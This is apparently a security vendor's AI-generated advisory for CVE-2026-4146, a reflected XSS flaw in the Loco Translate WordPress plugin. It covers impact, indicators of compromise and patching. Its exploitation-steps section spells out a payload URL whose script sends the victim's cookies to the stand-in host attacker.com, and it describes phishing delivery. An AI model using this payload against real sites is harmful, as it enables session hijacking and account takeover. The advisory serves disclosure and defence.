PHP2Shell: Read our blog on the critical RCE vulnerabilities affecting 70% of the Internet

CVE-2026-4146: 
WordPress vulnerability analysis and mitigation

Overview

CVE-2026-4146 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Loco Translate plugin for WordPress, affecting all versions up to and including 2.8.2. The flaw exists in the update_href parameter due to insufficient input sanitization and output escaping, allowing unauthenticated attackers to inject arbitrary web scripts that execute when a victim clicks a crafted link. It was published on March 31, 2026, with a patch available in version 2.8.3. The vulnerability carries a CVSS v3.1 base score of 6.1 (Medium severity) (GitHub Advisory, Wordfence).

Technical details

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), where user-supplied input via the update_href parameter is neither sanitized on input nor properly escaped on output before being rendered in the browser (GitHub Advisory). The vulnerable code paths are located in tpl/admin/config/version.php (line 17) and src/mvc/View.php (line 259) of the plugin (GitHub Advisory). Exploitation requires no authentication or elevated privileges, but does require social engineering — an attacker must trick an authenticated WordPress user (e.g., an administrator) into clicking a specially crafted URL containing the malicious payload. The attack vector is network-based with low complexity.

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of the victim's browser session on the WordPress site. This can lead to theft of session cookies or authentication tokens, credential harvesting, unauthorized actions performed on behalf of the victim (such as creating rogue admin accounts), and potential site defacement. Confidentiality and integrity are both assessed as low impact, and there is no direct availability impact (GitHub Advisory, Wordfence).

Exploitability

As of the time of disclosure, there is no public proof-of-concept exploit code and no evidence of active in-the-wild exploitation (Wordfence). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.065% (0.000650), placing it in a low probability tier for near-term exploitation (GitHub Advisory). No threat actor attribution has been reported.

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the Loco Translate plugin at version 2.8.2 or earlier using tools like WPScan, Shodan, or manual inspection of plugin version files.
  2. Craft malicious URL: Construct a URL targeting the vulnerable admin page that includes a malicious JavaScript payload in the update_href parameter, e.g., https://target-site.com/wp-admin/admin.php?page=loco-translate&update_href=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
  3. Encode the payload: URL-encode the payload as needed to bypass basic filters and ensure the link is deliverable via email, chat, or other social engineering channels.
  4. Deliver the link: Send the crafted URL to a privileged WordPress user (e.g., administrator) via phishing email, forum post, or other communication channel, enticing them to click it.
  5. Payload execution: When the victim clicks the link and the page loads, the injected script executes in their browser, exfiltrating session cookies or performing actions (e.g., creating a backdoor admin account) on the attacker's behalf (GitHub Advisory, Wordfence).

Indicators of compromise

  • Network: Outbound HTTP requests from the victim's browser to attacker-controlled domains shortly after accessing a WordPress admin page; unusual GET/POST requests to external IPs originating from admin sessions.
  • Logs: WordPress access logs showing requests to Loco Translate admin pages (e.g., wp-admin/admin.php?page=loco-translate) with URL-encoded script tags or JavaScript payloads in the update_href parameter.
  • Browser/Session: Unexpected session invalidation or new administrator accounts created without authorization following a user clicking an external link.
  • File System: New or modified WordPress user accounts with administrator privileges not created through normal workflows, potentially indicating successful session hijacking and follow-on actions.

Mitigation and workarounds

The primary remediation is to update the Loco Translate plugin to version 2.8.3 or later, which addresses the insufficient sanitization of the update_href parameter (GitHub Advisory, Wordfence). The patch is available via the WordPress plugin repository changeset 3482475. As a temporary measure, organizations can deploy Web Application Firewall (WAF) rules to detect and block XSS patterns targeting the update_href parameter, and train users to avoid clicking unsolicited links to WordPress admin pages.

Community reactions

The vulnerability was disclosed by Wordfence, which maintains a threat intelligence database entry for this CVE. The advisory was also published to the GitHub Advisory Database and the ENISA European Vulnerability Database (EUVD-2026-17325). No significant independent researcher commentary or broad media coverage has been identified beyond standard vulnerability aggregator postings (Wordfence, GitHub Advisory).

Additional resources


Source: This report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-97328HIGH7.5
  • webp-express
NoYesOct 22, 2026
CVE-2026-78392MEDIUM6.8
  • link-library
NoYesOct 22, 2026
CVE-2026-94295MEDIUM5.3
  • chikkili-google-pay-for-woocommerce
NoNoOct 22, 2026
CVE-2026-114570MEDIUM4.9
  • cpe:2.3:a:wordpress:wordpress
NoYesOct 22, 2026
CVE-2026-88849LOW2.7
  • masterstudy-lms-learning-management-system
NoYesOct 22, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management